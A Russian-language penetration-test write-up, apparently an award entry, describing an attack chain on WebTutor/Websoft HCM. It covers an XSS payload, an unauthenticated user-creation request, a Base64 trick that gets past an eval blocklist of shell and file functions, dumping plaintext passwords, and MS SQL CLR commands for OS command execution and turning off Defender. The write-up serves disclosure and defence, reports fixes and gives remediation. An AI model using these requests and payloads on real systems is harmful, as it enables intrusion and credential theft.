Вход через WebTutor
Атакуем Windows через веб-приложение и Microsoft SQL
Pentest Award
Этот текст получил третье место на премии Pentest Award 2024 в категории «Пробив web». Это соревнование ежегодно проводится компанией Awilix.
Здесь я не буду обсуждать весь ход работ — скоуп был большим, и в него входило много самописных приложений и несколько коробочных. Расскажу лишь об атаке на WebTutor — как о наиболее интересном моменте.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Анализ исходных кодов (XSS и чтение файла)
Websoft HCM (ранее называлась WebTutor) — это система управления талантами, предлагающая инструменты подбора, обучения, оценки компетенций, планирования карьеры, управления знаниями. Это коробочное решение, которое используется многими компаниями для автоматизации работы по найму и обучению сотрудников.
Встретив этот продукт в сети заказчика, мы решили его изучить подробнее. Для этого можно скачать демоверсию, но в ней есть ряд ограничений по сравнению с установленной на сервере полной. Зато доступны исходные коды продукта, и они как раз идентичны той версии, что развернута у заказчика.
Основное ограничение демоверсии — это возможность использовать только файловую базу данных, но при этом все возможности приложения работают. Сейчас демоверсия продукта предоставляется только по запросу.
Для хранения данных приложение использует файловую базу данных или Microsoft SQL в зависимости от настроек.
После установки находим в файловой системе папку WebTutorAdmin
с веб‑сервером. В ней две папки: снова WebTutorAdmin
, где лежит админка, и WebTutorServer
с прочими функциями сервера.
Я поискал известные нам страницы (логин и регистрация) и понял, что все файлы HTML из папки WebTutorServer/
доступны через веб‑интерфейс. Также в этой папке находятся файлы .xml и .bs, которые можно читать и выполнять через вызовы API.
info
WebTutor написан на языке JScript. JScript — это реализация ECMAScript компании Microsoft. Приложение также использует .NET Core и множество DLL-библиотек. Для управления логикой приложения используются три типа файлов: .html — страницы с кодом клиентской и серверной части вместе, .xml и .bs. Последний используется для описания методов API, которые доступны в приложении. Файлы HTML в JScript напоминают шаблоны PHP, где серверный код чередуется с кодом страницы.
Доступ к большинству эндпоинтов API возможен без дополнительной авторизации, так как там есть проверка пользователя. В шаблонах HTML за проверки сессии отвечают подгружаемые в начале скрипты:
Server.Execute( "include/user_init.html" );Server.Execute( "include/host_init.html" );
После установки WebTutor регистрация включена. Однако на целевой системе она недоступна, к тому же ограничен доступ к административным страницам. Следовательно, нам нужно найти лазейку в доступных неавторизованному пользователю шаблонах HTML.
Быстро находим простую XSS вот в этом файле:
WebTutorAdmin/WebTutorServer/wt/web/replace_photo.html
Переменная URL берется из запроса и без всякой фильтрации вставляется в код страницы.
<% try { _url = UrlDecode( Trim( Request.Form.GetProperty( "url" ) ) ); //... <script type="text/javascript"> location.href = "<%=_url%>";
</script>

Полный HTTP-запрос для XSS:
POST /replace_photo.html HTTP/1.1
Host: 10.3.89.104
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/* ;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: SessionID=7303593220364327493
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
foto=1&url=1";alert(1);//
Перепроверяем все эндпоинты API без авторизации и находим метод /
. Он доступен и позволяет читать произвольные файлы в системе.

Создание нового пользователя в системе
Расширить зону поиска можно, например, получив учетную запись. Ищем файлы, где происходит работа с пользователями, и находим возможность изменения профиля в следующем файле:
WebTutorAdmin/WebTutorServer/wt/web/user_change.html
Из запроса берутся все данные и дальше сохраняются в БД, при этом не делается проверка на активную сессию. Хоть приложение ломается при таком запросе и выдает 500, оно все равно успевает вызвать первый блок кода, где выполняется сохранение пользователя в БД.
Все параметры для создаваемого пользователя берутся из запроса, включая логин и пароль. Для создания незаблокированного пользователя необходимо передать аргументы view=new
без поля web_banned
.
_login = tools_web.convert_xss(Request.Form.GetOptProperty("login", ""));_password = tools_web.convert_xss(Request.Form.GetOptProperty("password", ""));_lastname = tools_web.convert_xss(Request.Form.GetOptProperty("lastname", ""));_firstname = tools_web.convert_xss( Request.Form.GetOptProperty("firstname", ""));_middlename = tools_web.convert_xss( Request.Form.GetOptProperty("middlename", ""));_position_name = tools_web.convert_xss( Request.Form.GetOptProperty("position_name", ""));_view = tools_web.convert_xss(Request.Form.GetOptProperty("view", "self"));_email = tools_web.convert_xss(Request.Form.GetOptProperty("email", ""));_phone = tools_web.convert_xss(Request.Form.GetOptProperty("phone", ""));_sex = tools_web.convert_xss(Request.Form.GetOptProperty("sex", "")); //...if (_view == "new") _web_banned = Request.Form.HasProperty("web_banned");
Потом данные из поля передаются в новый объект пользователя, который сохраняется в системе. И злоумышленник может выполнить вход от имени этого пользователя.
if (errStr == '') { docUser = OpenNewDoc('x-local://wtv/wtv_collaborator.xmd'); docUser.TopElem.login = _login; docUser.TopElem.password = tools.make_password(_password, false); docUser.TopElem.lastname = _lastname; docUser.TopElem.firstname = _firstname; docUser.TopElem.middlename = _middlename; docUser.TopElem.email = _email; docUser.TopElem.phone = _phone; docUser.TopElem.sex = _sex; docUser.TopElem.access.web_banned = _web_banned; docUser.TopElem.change_password = _change_password; //... docUser.BindToDb(DefaultDb); docUser.Save();

Полный HTTP-запрос для создания пользователя:
POST /user_change.html?ajax=1 HTTP/1.1
Host: 10.3.89.104
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima ge/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Upgrade-Insecure-Requests: 1
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 215
login=danr0&password=P%40ss0rd_danr0&lastname=test&firstname=test&middlename=te st&position_name=test&email=test%401.ru&phone=1&sex=1&password2=P%40ss0rd_For_T 3st&sub_id=1&position=1&mode=1&subdivision=1&view=new
Исполнение произвольного кода через инъекцию команд
После создания пользователя и входа в систему получаем доступ к конфиденциальным данным, но нам нужна полная компрометация.
Я продолжил изучать оставшиеся HTML и обратил внимание на функцию safe_execution
. Она отвечает за фильтрацию специальных символов и опасных функций.
Уязвимость находим в следующем файле:
WebTutorAdmin/WebTutorServer/wt/web/document_save.html
На этой странице пользователь может передать в запросе имена и значения полей для создаваемого документа. В этих полях допустимо использование приставки [
для подсчета значения по формуле. Если программа найдет такую приставку, она вызовет функцию tools.
с данными из запроса.
Наша задача — найти способ внедрять произвольные команды в формулу, чтобы дальше они попали в eval
и были выполнены.
_sf = String(Request.Form.GetProperty(_source_fields)).split(";");_df = String(Request.Form.GetProperty(_destination_fields)).split(";");for (_z = 0; _z < ArrayCount(_sf); _z++) { if (_z >= ArrayCount(_df)) { sErrorInform += "Entry(" + _x + "): Document save. Not enough data in destination_fields. Element: " + _z + "; "; break; } _fld = Trim(replaceFieldValue(_sf[_z])); if (_fld != "") { iPrefixTameRepeat = 0; while (iPrefixTameRepeat < 3) { if (StrBegins(StrLowerCase(_df[_z]), "[encoded]")) { _dfval = UrlDecode(String(_df[_z]).slice(9)); _encoded = true; iPrefixTameRepeat += 2; } else { _dfval = replaceFieldValue(_df[_z]); _encoded = false; } if (StrBegins(_dfval, "[@formula]")) { _dfval = String(_dfval).slice(10); try { _dfval = tools.safe_execution(_dfval); } catch (_dfval) { _dfval = null; } iPrefixTameRepeat += 1; }
Функция safe_execution
определена вот в этом файле:
WebTutorAdmin/WebTutorServer/wtv/wtv_tools.xml
Перед передачей аргумента в функцию eval
производится фильтрация опасных функций по названиям.
<safe_execution PROPERTY="1" CALLER-ENV="1" PARAM="sCodeSaveExecutionParam" EXPR=" if (sCodeSaveExecutionParam == "") return true; temp_arrCodeSaveExecution = [ { name: "file function", arr: [ "CreateDirectory", "CreateShellLink", "DeleteDirectory", "DeleteFile", "GetShellFo lderPath", "MoveFile", "ObtainDirectory", "ObtainSessionTempFile", "ObtainTempFile", "PutFileData", "PutFileText", "AddUrlMapping", "CopyUrl", "DeleteUrl", "PutUrlData", "PutUrlText", ], }, { name: "function", arr: [ "RemoveEmptySysRegKey", "RemoveSysRegKey", "SetSysRegIntegerValue", "SetSysRegStr Value", "SysRegKeyExists", "ProcessExecute", "ShellExecute", "DllWrapper", "ActiveXO bject", ], }, { name: "execution function", arr: [ "EvalCodeUrl", "EvalCodePage", "EvalCodePageUrl", "EvalCs", "InPlaceEval", "OptEval", "ServerEval", "EvalAsync", "EvalSync", "EvalCode", ], }, { name: "tools function", arr: [] }, ]; for (temp_arrCodeSaveExecutionElem in temp_arrCodeSaveExecution) { for (sCodeSaveExecutionElem in temp_arrCodeSaveExecutionElem.arr) { if (StrContains(sCodeSaveExecutionParam, sCodeSaveExecutionElem)) { throw ( "Error code execution. Invalid " + temp_arrCodeSaveExecutionElem.name + " " + sCodeSaveExecutionElem + "." ); return; } } } for (sCodeSaveExecutionElem in [" ", "=", "(", ";", ",", "\t", "\n"]) { for (sPostCodeSaveExecutionElem in ["(", " ("]) { if ( StrContains( sCodeSaveExecutionParam, sCodeSaveExecutionElem + "eval" + sPostCodeSaveExecutionElem ) ) { throw "Error code execution. Invalid Eval function."; return; } } } return eval(sCodeSaveExecutionParam); "/>
Чтобы обойти проверку, нужно как‑то обфусцировать название функции. Например, можем закодировать его в Base64, а затем вызвать декодирование и передать результат в eval
:
eval (Base64Decode("<base64_arbitary_code>"))"
Такой пейлоад позволяет вызывать любые функции в контексте приложения.
На скриншоте ниже — просмотр установочной директории с помощью уязвимости. Для вывода результата используется создание нового заголовка в ответе сервера (при дальнейшей эксплуатации будет использоваться заголовок x-msg: <
).

На целевой системе сразу исполнять произвольные команды не будем, это может вызвать срабатывание антивируса. Вместо этого можем спокойно использовать встроенные возможности веб‑приложения. С их помощью просматриваем директории и действительно находим антивирус и агент EDR известных производителей.
Также по умолчанию все пароли пользователей хранятся в открытом виде, поэтому можем извлечь их из БД, сохранить в файл и получить через веб‑сервер.

Исполнение кода на MS SQL через User Defined Function
Так как на системе установлены хорошие системы безопасности, нужно их обходить или же искать другой путь продвижения.
На целевой системе используется не файловая БД, а Microsoft SQL. При этом база данных располагается на другом хосте и имеет другие настройки. Потенциально это позволяет нам перенести атаку на другой хост без установленных защитных решений.
Проверяем, что текущий пользователь приложения имеет роль sysadmin в базе MS SQL. Для эксплуатации будем использовать расширенную процедуру на языке C# для базы данных MS SQL. Она позволяет выполнять произвольные команды в операционной системе.
Нам надо загрузить скомпилированную DLL на сервер и установить в виде расширенной процедуры.
Включаем опцию, разрешающую выполнение пользовательских CLR-сборок:
sp_configure 'clr enabled', 1;
Через функцию sp_add_trusted_assembly
на сервере добавляем хеш (SHA-512) для «доверенной» сборки:
EXEC sp_add_trusted_assembly <SHA_512>,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';"
С помощью SQL-запроса создаем новую сборку и на ее основе регистрируем функцию:
CREATE ASSEMBLY [mylib] AUTHORIZATION [dbo] <HEX> FROM WITH PERMISSION_SET = UNSAFE";CREATE FUNCTION [dbo].[http] (@url [nvarchar](MAX)) RETURNS [nvarchar] (MAX) AS EXTERNAL NAME [HttpDb].[UserDefinedFunctions].[http];
Так я добавил на сервер несколько CLR-процедур (HTTP DB, Trace), выполняющих листинг локальных директорий, команды ОС, HTTP-запросы и распаковку исполняемых файлов.

При анализе файловой системы БД я не нашел следов сторонних защитных решений: в системе установлен только Windows Defender. Его можем без проблем обойти или просто выключить с правами системы. Тем самым получаем входную точку в компанию без необходимости обхода EDR-агента и сторонних антивирусов.
В итоге получаем такую последовательность: создание пользователя → инъекция команд через eval → SQL-запрос → UDF → компрометация хоста с БД.
Найденные уязвимости зарегистрированы в БДУ под следующими идентификаторами:
Рекомендации по устранению
Все проблемы были устранены в более новых версиях продукта. Тем компаниям, которые не могут обновиться, мы рекомендуем ограничить доступ к уязвимым файлам или отключить через редактирование уязвимые части кода. Сотрудникам компании‑заказчика мы порекомендовали ограничить сетевой доступ до коробочных решений и устанавливать EDR на все хосты.
Спасибо команде разработчиков за быстрое реагирование и исправление критической проблемы, актуальной для всех версий продукта.